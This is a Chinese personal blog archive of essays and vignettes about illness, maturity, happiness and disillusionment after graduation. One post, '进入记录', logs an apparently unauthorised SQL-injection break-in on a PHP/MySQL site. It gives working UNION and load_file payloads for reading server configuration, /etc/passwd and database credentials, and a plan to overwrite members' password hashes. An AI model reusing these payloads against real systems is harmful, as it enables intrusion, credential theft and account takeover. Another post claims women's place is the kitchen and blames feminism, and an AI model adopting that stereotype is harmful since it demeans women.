Category Archives: 热炕头

身体不舒服

最近非常不舒服,数数有七八处了。

偏头痛,左侧虫牙痛(什么时候拔掉?),中耳炎(转慢性了吧?),口腔溃疡,喉咙痛(左侧扁桃体发炎),胃痛,屁股痛(痔疮),手肘关节痛(鼠标手)。

虱子多了不痒,债多了不愁,痛多了也感觉无所谓了。

这还是你的身体不?

女人下厨房体现出的婚姻关系和人生价值

若有男人说,女人的价值就是体现在厨房,不出意外会被女人唾沫淹死。

若有女人说,自己在厨房体现了自己的价值,很幸福。或许会有很多女人羡慕,因为有个值得自己下厨的男人,远要比心虚地喊着精神独立来的幸福。 

家庭是构成社会的基本单位,是由夫妻关系和子女关系结成的最小的社会生产和生活的共同体。在这个共同体的契约关系(婚姻)中,男人抑或女人,都有一个社会定位。女人下厨房,是社会定位的默认值,也是婚姻关系中的分工。

之所以有女人唾沫横飞,我想是现在的社会,懒惰、或自私,或者女权主义过头的女人太多了吧。

成熟的四个标志

  成熟似乎是一件很残酷的事情,它代表了青春的流失和梦想的褪色。可是,走向成熟是人生的方向,况且,一种持久的平和的幸福人生离不开成熟。

一、什么是成熟

  一个人走向成熟是困难的。如泰戈尔所说,除了通过黑夜的道路,无以到达光明。很无奈的一个事实是,成熟总是和人生的挫折联系在一起的,“传道授业解惑也”并不能让你成熟,而需要时间与代价的付出。通往成熟的道路,没有终点,只有行程。成熟是相对的,而幼稚才是绝对的。成熟不是不犯错误,而是能不能真正从错误中吸取到教训。成熟不是手中的酒杯与指上的香烟,更不是小资情调的“淡淡忧郁”和自我伤感。有意表现的成熟,那是幼稚。没有境界和深刻,只能表现出浅薄。表现成熟,这是年轻和幼稚两种人的常见通病。成熟是无需要表现也无意于表现的。一个严重的问题还在于,年龄的增长、阅历的增加,甚至历经沧桑都并不能确保一个人的成熟。成熟需要一个健康的自由的社会环境,需要个人独立的思考能力与常常的自我反省。

  必须指出,成熟并不排斥纯真。真正的成熟是理性、智慧、纯真与道德的统一。

二、成熟的标志

1、轻视异性

  能够“轻视”异性,不把异性当回事,这是成熟的标志,所以把它放在第一条,因为它是人生迈向成熟的第一步。能够不把异性当回事,这对于人们、尤其对于青少年来说,是困难的,唯其难,所以它才成为一种成熟的象征。

  这里说“轻视异性”,不是指性别歧视,它女人不要把男人当回事。肤浅的人可能会有肤浅的疑问:不把异性当回事,这,这能行吗,这不是太无情了吗?其实,这里说“轻视异性”,主要是指能够用一种平和、健康、冷静的心态理解和交往异性。轻视,不是拒绝对异性的好感和爱情,而是拒绝见到异性就心惊肉跳骨头软的不健康的心理和表现。少女天真单纯,对异性充满了好奇心、神秘感,而这些都是不成熟的表现。有一天你会明白男人不过如此,女人也不过如此。我们可以对异性怀有好感,而不必好奇神秘。这神秘感好奇感将导致人们情绪的起起伏伏,为之欢欣鼓舞,为之痛不欲生,为之幸福,为之痛苦。也许恋爱中的人们不能保持应有的清醒,可是,在日常生活中却也能常常见到人们在异性面前的种种失态。不把异性当回事,不是让你对生活失去热情,而是少一些失望,少一些伤害,以及能够表现得自然和从容。

2、否定自己

  否定自己、不断地否定自己,是走向成熟的必要条件,也是成熟的重要标志。否定自己是深刻的思想活动,是出于对真理和对自我的认知,而不是妄自菲薄和自轻自贱。否定自己是思考的结果,而不是“触景生情”。只要你时时地反省和面对自己,你就会时时地否定自己。认识自己并不容易,否定自己同样困难,人最容易自以为是和固执已见。在真理面前,没有谁有资格自负。有句话说的好,我们最需要改变的可能就是我们最坚持的东西。可是,人们往往认为自己总是对的,把傲慢当作成熟,把固执当作个性,最后只能是“追悔莫及”。其实人们的认识本就浅薄,再加上一切都处在不断地变化之中,你们如何能够不改变?事物在变化,时局在变化,真理也在变化,这就要你们不断在改变自己原来的认识,否定自己曾坚持的东西。

3、学会宽容

  宽容不仅象征成熟,宽容更是一种境界。幼稚的心从来不会宽容,他们偏激、暴怒、盲目行动、“疾恶如仇”,而且自己却屡犯不可“宽容”的错误,他们追求完美,却并不明白自身所存在的缺憾。另外,暴君和强权也从不宽容,他们心胸狭隘、噬血如命、杀人无数,最后,愚蠢只能导致他们的覆灭。“盲目追求抽象的正义,使“敌人”的观念在人们心里得到强化。实际上,没有谁是天生的敌人。记得哪位作家说过,一片落叶不经过全树的允许,是掉落不下来的。同样,一个人所以沦为了罪犯,并不仅仅是个人之过,整个社会都是有责任的。况且,在大多数情况下,所以敌人、罪犯都不过是权势强加的人为的定性,而并不是根据正义的标准。

  宽容不是容忍,因为容忍仍是一种消极的反抗,这种并不明智的情绪其实是暗暗跟自己过不去。生活的阅历、生命的体悟,构成了宽容的前提与基础。宽容别人,也是宽容自己,这体现了对人性缺陷的包容和理解,因此,宽容不但是一种成熟,也是智慧。其实,这“不宽容”也是值得宽容的,因为他们的幼稚。伏尔泰说,“我们所有的人都有缺点和错误,让我们互相原谅彼此的愚蠢,这是自然的第一法则”。从思考能力的角度讲,成熟的标志就是对“简单”有了新的认识和理解,不再把简单看作简单,或者说,不再轻视简单。真理就是简单的,而这简单的真理就是在平常的朴素的日常生活当中。能够从简单处寻找和发现真理,你就得到了最深刻的真理。

4、学会思考

  无知的人总是认为自己无所不知,什么都不瞧在眼里。无知的人以及少年最常说的话就是:我懂、我知道、这太简单了,如此等等。在一个有思想和有探求精神的人那里,没有什么是简单的,尽管他们能够举重若轻。一个苹果的落地,科学家能够思考到天体运行的规律,一粒简单的沙子,哲学家可以通过它发现一个新的世界。理论学术的建立,是在简单、原始概念之上的;思想的产生和深入,也是来源于人们对朴素世界、简单问题的深入思考。恩格斯有一个观点我觉得很好,他说哲学的根源“在于蒙昧时代的愚昧无知的观念”。我们可以作这样的理解,哲学(深刻的思维)就是来自对于简单事物和朴素世界的思考。如果真正懂得了简单,那么这个世界上就不存在复杂。 因此,你若想寻找真理,就不要轻视那些你所轻视的简单的事物,就要善于从寻常的生活、习见的事件中领会和获得并不寻常的道理。最后,以诗人的话来作个诗意的结束: 离你最近的地方,路途最远,最简单的音调,需要最艰苦的练习。 旅客要在每个生人门口敲叩,才能敲到自己的家门,人要在外面到处漂流,最后才能走到最深的内殿。

进入记录

环境: unix+apache+php+mysql
端口: 21=vsftpd; 22=ssh; mysql=3306 不开放远程连接
mysql版本4.0以上支持union查询,当前用户权限足够可以load_file

找到个注射点,以下是记录:

/gongji.php?ag_id=7 and ord(mid(version(),1,1))>51      /*判断mysql version的第一位是不是大于3

/gongji.php?ag_id=7 and (select count(*) from mysql.user)>0  /*判断权限

/gongji.php?ag_id=7 and 1=2 order by 7                              /*快速判断字段

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,4,5,6,7    /*精确确定字段数

—没有报错信息,利用读取apache配置文件来找web路径———————

默认的配置文件路径:/etc/httpd/conf/httpd.conf
转换成hex类型代入union查询语句。在字段4的位置有足够长度显示内容

/gongji.php?ag_id=7 and 1=2 union select 1,2,3,load_file(0x2F6574632F68747470642F636F6E662F68747470642E636F6E66),5,6,7

得到N多站点的路径,其中目标的路径为:/home/k…ow/www/

接下来考虑两个方案:
a. select 。。。 into outfile
条件:1.需要知道一个表名 2.需要网站没有对’做处理 3.目标路径可写
条件1,2都满足,测试导出到/tmp成功,下面需要找一个可写的目录。分析了下apache配置文件,发现网管把images文件夹穿插这放置的。即这个站点images文件夹放到另外一个站路径下。

b.读网站页面源码,找到库口令,用户表,管理表,后台…
实际上口令还可以试试ftp及ssh

读/etc/passwd密码档得到用户表,找到能够远程登录的用户表。
尝试读取vsftpd配置文件:/etc/vsftpd/vsftpd.conf,vsftpd.ftpuser… 失败可能权限不够

读取几个站的数据库连接文件:/home/k…ow/www/config_db.php或/home/k…ow/www/lib/config_db.php

发现口令统一是*****,帐号不一样。网站都采用同一套系统。用户表:dg_member,fs_member,fs_qa_manager
字段:dm_uid,dm_passwd…

c.爆源代码的话还可以顺便找找里面是否有漏洞,比如包含什么的。

d.因为能弄到mysql口令,虽然不能远连,还是可以找找有没有phpMyAdmin这样的东西的。

帐号密码是加密形式的。
Select ENCRYPT(‘mypassword’, ‘ab’),  ENCRYPT加密。这种算法是不可逆的,强度还不错。

新注册用户是要钱的。

先看下memberl.php中对密码加密的脚本:
$am_pwd = crypt ($am_pwd, "Md");
然后用phpshell或者任意unix下的mysql操作环境执行:
select encrypt("123456", "Md")  得到123456的密文
然后可以insert或者update其他用户的pwd密文为123456的密文…

幸福

昨夜,和同学吃饭,然后一个人逛着回家。
  拓宽的新街面宽敞干净,两旁店铺林立,一路灯火闪烁下去。头顶,黛蓝的夜幕里有轮极大极亮的月,而脚边一点风。这样的时分走在这样的路上,恍惚不知自己身在何处。
  街边隔不多远就有台IC电话机站着。这样的时分见着它,就特别想给谁挂个电话。站定了,盯着它三秒钟,才想起自己实在没有任何一个号码适合打。
  开步走过去,然后想:那在任何时候都可以理直气壮地拨响电话的人那,自己都不知道,他是多么奢侈地幸福着。
  但,我的幸福在哪里呢?一直以来它都相当自立,琐碎坚强,而且不固定。象现在,它就戴在我的手腕上。–一只非常可爱的透明蓝的卡通表,逛街时刚买下的。为着这只表,故意撅起袖子走路。然后每走过一面镜子,就欢欢喜喜地往里面瞧一瞧它。

一只幸福的狗

下午出门,遇见一只漂亮的棕毛小狗,嘴里叼了好大一块骨头,在校园里独自一溜小跑。我学着叫声汪汪,它就歪头瞟我一眼,可步子一点也没慢下来,那样子别提多可爱了。于是跟上去,它这才停下了脚步,把骨头放在地上,圆眼睛很镇定地望着,并没显出害怕和生气的样子。我很想摸摸它的头,但害怕它误以为我要抢它的骨头,所以没敢太靠上去。就瞧它望了我两眼后,又叼起骨头,转头走掉了,步伐悠乎悠乎的,一点也不着急上火,我想它此时心里一定非常美,是一只幸福的小狗。看得我从心底笑起来了。

黑白之间

  最近一直过着黑与白颠倒的日子,天亮了,把自己扔进舒服的床上,便不想再动弹,这样的疲乏有多舒服?那种消耗有多令自己痴迷,无法言表。总在黑夜到来时起身,想象新的开始,那种快感如约而至。

  人是种非常非常情绪化的动物,拥有时不懂珍惜,珍惜时已经失去,我们就在这样的反复中追寻着生存的价值和意义。很久了,我不知道我的价值在哪里,或许得到的太多了,又或许我失去的太多了。黑夜与白天,其实看来真的是很美好的世界,清晨的阳光和夜晚的星光,我们拥有许多的景物,拥有大自然的鬼斧天工,可是我却欣赏不了,因为白天的光亮让我觉得刺眼,而夜晚的黑暗又让我觉得孤单。白色和黑色,两种反差极强的颜色,视觉效果上的激烈对比,让它们看起来充满了矛盾和冲突,可是将它们混合就变成了另一种美丽的颜色,就象香醇的咖啡,耐人寻味。如果有一天,没有黑夜与白天,如果有一天,没有黑色和白色,我们的生活是否会乏味,永远是混沌的咖啡色,是否这样的中性又失去了它们本身的性格和轮廓?一时之间浮想联翩,心中对黑与白的体会似乎更加充满了趣味性。

  冬天的黑夜来的总是很早,似乎白天也觉得寒冷了,要早早回家睡觉。黑夜来临则意味着我白天的开始,一切的一切都在这样的寂静中完成,如此这般重复着单一的动作和路径,让我不禁有些奇怪,黑白颠倒的日子,过得居然舒服。白天里忙碌的人太多,奔走在街头巷尾,电话铃交错穿插,眼前的世界实在太混乱,看着心生浮躁,脾气自然而来,烦闷来自内心,不可爱的匆忙让自己也觉得失去了色彩的点缀,黯然无光的伫立在人群之中。于是厌倦了白天的面具,只想活得自然真实,黑夜便是最好的武装。在黑色的笼罩下,寂静中的喧哗,心灵深处的思索,黑色让人凝重也让人平和。看着四周无声的楼群,禁闭的窗户,想象每个人的故事,只有这个时候,自己才是自己。人啊,喜欢窥视的私密,黑色与白色的不同,在暗夜掩盖下的真我,似乎更加残酷也更加剔透。白色的纯洁让人不敢涉足,沾染尘污的双手触摸白昼的新鲜,那种亵渎的行为让我自惭形秽,于是宁可远远观望,不想再次选择。

  喜欢黑与白搭配的色调,只遗憾白天不懂夜的黑,而黑夜也不懂天的白,有多少次的日全食是我们渴望看到的?天狗吃月亮的传说我们又听过多少次?孩童时期待玄妙神奇那一刻的冲动,是否今天还在?在艳阳高照的天空,突然出现的漆黑,哪怕只有短短一瞬间,却也值得津津乐道一生的美好景象,或许就是因为它的短暂吧。任何的美丽都是有冲突的,此种黑与白的突兀扎眼,此种黑夜白天的时差颠倒,都是一种离奇的美。

短句

想睡了,象蝙蝠一样倒挂在墙上。

隐匿在夜里的人,影子同样的黑。一个游动,另一个跟随。

下雨了,满街上都是慌乱逃蹿的人们,然后我就听到满世界雨的哭声。

草喝了夜酿的露酒,醉了。

献给毕业了几年的朋友

  我们终于进入了这个社会。从此结束了被学校老师看管的生涯,结束了做父母乖宝贝的日子,也结束从父母兄长那里拿钱的幸福时光。
  我们从家里搬了出来,提着自己半新不旧的行囊找了间不能再廉价的破房子租了下来,开始了闯荡的生活。
  我们的眼光充满了好奇,我们的血液里流淌着激情,我们的钱夹却空前的瘦小。
  在面对第一个老板第一批同事第一份工作的时候,我们是那样的慷慨激昂,我们认为自己无所不能,我们幻想很快就可以打造一片属于自己的天地,我们对未来充满了信心。并且希望从别人艳羡的目光中找到一点点骄傲的资本。
  可是渐渐的我们才知道,其实现实和自己的理想有着天壤之别。我们发现了老板是多么的阴险狠毒同事是多么的势利小气工作是多么的枯燥无趣,我们也发现了房租水电气费把人愁死了。发薪的日子总好像遥不可及,商店里的东西仿佛只是为别人摆设,我们还发现了只有周末跑到母校瞎逛才感觉释然,只有和老同学一起聊天玩耍才真正开心只有在步行街上看美女才不无聊。
  渐渐的我们也学会了泡吧,酒吧迪吧水吧网吧玩具吧都是我们打发无聊时间的场所。可是我们还是泡不到妞,以前自以为是的那些爱情理论泡马子技巧在金钱时代都是狗屁,都出奇的苍白无力。于是我们感叹世界变得太快,快得让我们这些穷小子根本就无所适从。
  渐渐的我们也变得深沉起来,不再为一个很幼稚的笑话就哈哈大笑,不再动不动就乱发牢骚,也不再把内心深处的秘密轻易地跟别人诉说。我们也说不清楚这到底是成熟还是消沉,对着镜子看,却发现里面那张脸陌生得可怕。
  渐渐的我们似乎大彻大悟了,什么都看透了,一切都虚无缥缈了,然后我们什么都很漠然,坐公交车也不让座了,看到小偷偷东西也懒得理了,吃点小亏想想也就算了,但是我们却在每天下班之前发愁晚餐该吃什么了,在大家一起喝茶的时候盘算着自己要不要买单,在临睡之前把这个月的开支算了又算。
  渐渐的我们感觉自己其实什么都不是,没有钱没有名没有地位,身高也太矮了皮肤也太黑了长相也太难看了,什么都要看人家的脸色,走在哪里都似乎低人一等,有时真恨不得割脉上吊服毒跳楼自行了断。
  渐渐的我们也不想看书了,也不想谈理想了,也不想谈前途了,也不想花太多精力胡思乱想。我们也不想听音乐了,也不想看电影了,不过倒时常看些成人的碟子,交流些黄色的笑话。我们开始沉迷于酒液里,沉迷于方城中,沉迷于低级场所内。家的概念越来越模糊了,亲情的感觉越来越遥远了,除了在梦中偶尔回到家乡之外,我们挺多可以借助一条冰冷的电话线和家人说说一些开始偏离生活的话,却看不到老爹老妈又长出了多少根白头发又多了几道皱纹。
  看到有人在球场上酣战,我们似乎也想上去来两脚,其实很久没有运动的身体已经无法支撑我们再跑多远了,而且几乎荒废的球技让我们怀疑自己那些踢球的年岁是不是上辈子的事。
  望着满街穿着前卫的少男少女,我们开始表现出厌恶的表情,却忘了自己前些年其实有过之而无不及。遇到在大庭广众之下举止亲热的学生情侣,我们的目光也变成了不屑,并恶狠狠地骂他们伤风败俗。
  经过彩票销售点的时候,我们忍不住也掏出一点本该买书的钱来买几注,然后天天做梦中了五百万之后多少万买房子多少万买车多少万胡乱挥霍,可是每一次开奖虽然屡屡有人中头奖却始终与自己无缘,于是在短暂的失望之后,我们依然锲而不舍地做着美梦。
  渐渐的我们的人生观、价值观、爱情观也有所改变。我们已经不认为为了往上爬而不择手段有什么不妥,我们对努力就有回报的说法嗤之以鼻,我们嘲笑所谓的贞节观,所谓的责任感,希望甚至去找寻一夜情。
  我们开始关注街上跑的车是宝马还是奥拓,关注哪个酒廊的吧台小姐酒量如何,关注哪款手机用起来更加叉人眼,关注哪个牌子的西服穿起来更有派头。但也就只是关注而已,因为我们清楚无论是宝马还是奥拓,我们都买不起,吧台小姐酒量再不行,我们也不能把人家怎么样,至于手机和西服,还是用自己买了很久的老款式。
  不知从什么时候开始,我们为自己的遭遇感到愤愤不平了,我们越来越看不惯老板狰狞的面目,越来越无法忍受同事的卑鄙龌龊,越来越不堪就这样生活下去。于是我们在感叹运气不好的同时迫切地想改变自己的命运,我们左顾右盼,寻找机会,却始终看不到出路。
  终于有一天,我们像火山爆发一样,一冲动之下把老板炒了。收拾东西昂然地走出办公室的那一刻我们有英雄离去那种豪迈与无悔,只从同事愕然与嘲讽夹杂的眼神中隐隐看到一丝无奈,却不知道等待自己的,将是无尽的痛苦与折磨。
  我们很快发现了虽然自己拥有并不低的学历和一定的工作经验,并像跑场子一样从这家公司跑到那家公司,一次接一次地应聘,可是根本就无法找到适合的工作。
  时间一天一天过去,工作依然遥远得不知子丑寅卯,钱包越来越瘪了,交房租的日子也越来越近了,我们心如火焚,有着世界末日即将来临的惶恐。我们也开始有点后悔自己太轻率就辞职了,也开始萌生铤而走险的念头,但又不敢真的去抢银行绑架什么的,心情低沉到了极点,我们的脾气也大了,唉叹声也响了。
  所幸这样的日子终于结束了。我们又到了新的工作单位。这时候我们虽然或多或少有点激动,但更多的是谨慎与惨淡。我们不会再对老板抱什么幻想,不会认为他会给我们多好的待遇,我们也不会和同事谈什么知心话,因为我们已经知道,不可能与有利益冲突的人成为朋友,当然我们也不再愚蠢地把这个工作当事业一样拼命,只把这里当成自己的一个跳板,一旦有机会就立马走人。
  接下来的生活无趣又无味,但我们渐渐的也就无所谓了。我们也不想泡吧了,不想什么活着的意义了,老同学在一起也开始有点话不投机了,以前很少联系的朋友,现在更不想去联系了,就算有时候接到他们打来的电话,也只是随便吭吭唷唷的应付几句。虽然酒还是经常喝,但很多时候都一个人独饮独醉了。这时候我们的寂寞更是深入骨髓,我们的苦痛更加真切而细腻。我们空前地怀念在学校的那些岁月,我们会捧着毕业合照发半天呆,我们却不想再到母校去闲逛了,如果是偶然经过,看到曾经熟悉无比的景物,心里还真的翻涌起一股酸楚,但是我们不会流眼泪。毕业时曾经很贱的男儿泪如今又变得珍贵起来。
  当然我们也还是经常上网,不过很多时候都是为了打发时间。我们很可能迷上了传奇之类的游戏,却很少再光顾同学录网页,更不想在上面留言了。
  我们无师自通的学会了自欺欺人,虽然我们在夜深梦回时也会憎恨自己的虚伪与无为,更讨厌这种猪狗不如的生活方式,但是我们就象被囚禁的鸟,根本就无能为力。有时候我们会自嘲似的给找很多借口来解释自己的某种行为,尽管我们也知道这样做其实毫无意思,也毫无必要。
  我们开始不断地听到老同学们结婚的消息、升职的消息。然后我们不经意地就想到某某在学校时的样子,然后我们不由得感叹时间流逝之无情,然后我们就想在尘封已久的日记本上写点什么,然后我们不知不觉地眼角竟然也有点湿润了。
  我们夜里躺在床上睁大眼睛,却无法在漆黑中排遣郁闷时,就会格外的想有个人陪在身边。
  很多往事会像潮水一样向我们扑来。我们曾经暗恋过的人、曾经追求过但失败了的人、曾经相爱过的人,都一一地闪过脑海,于是,心里会有种伤感,很纯粹的伤感。因为我们知道,爱情其实真的已经与我们离得很远。
  我们试着通过各种途径来结交朋友,但是每每交往了几次,我们就不想再与他们来往。说不清楚是因为他们太过于现实还是我们太封闭。我们于是感慨万千,在这个很多人都戴面具生活的社会,原来交一个真正的朋友竟然那么难。我们也试着去约会,可是爱情并非喝水吃饭那么简单,到最后都还是以失败告终。高不成低不就的我们继续高举单身的旗帜游走于大街小巷。
  我们非常怀念学生时代那种单纯的恋情,非常羡慕那些还能坐在教室中的年轻人,非常希望自己可以再读一次学,但是我们也知道,泼出去的水怎么能够收回,远逝的时光如何可能重来?
  我们的酒量越来越大,一打啤酒喝下去一只手指在眼前竖着也无法看成两只手指。我们的腰越来越粗背越来越宽肚皮越来越大,日渐增多的脂肪很是晃眼。我们爬上楼梯的动作越来越笨拙,也越来越吃力,才到三楼就已经气喘吁吁。
  我们向往着能到外面去走一走,看一看,却又害怕沦落天涯,苦不堪言。我们越来越觉得钱钟书老人的围城理论精辟有理。我们越来越体会到人在江湖身不由己的无奈。我们越来越感到心力交瘁,压抑茫然。
  ……
  可是,以后的路还很长,无论如何,我们得活下去。不管是痛苦还是快乐,我们都要面对。
  毕竟想逃避也逃避不了的。所以,我们还是希望,明天是一个阳光灿烂的大好日子。而且,我们骨子里仍然相信自己会走出阴霾,出人头地.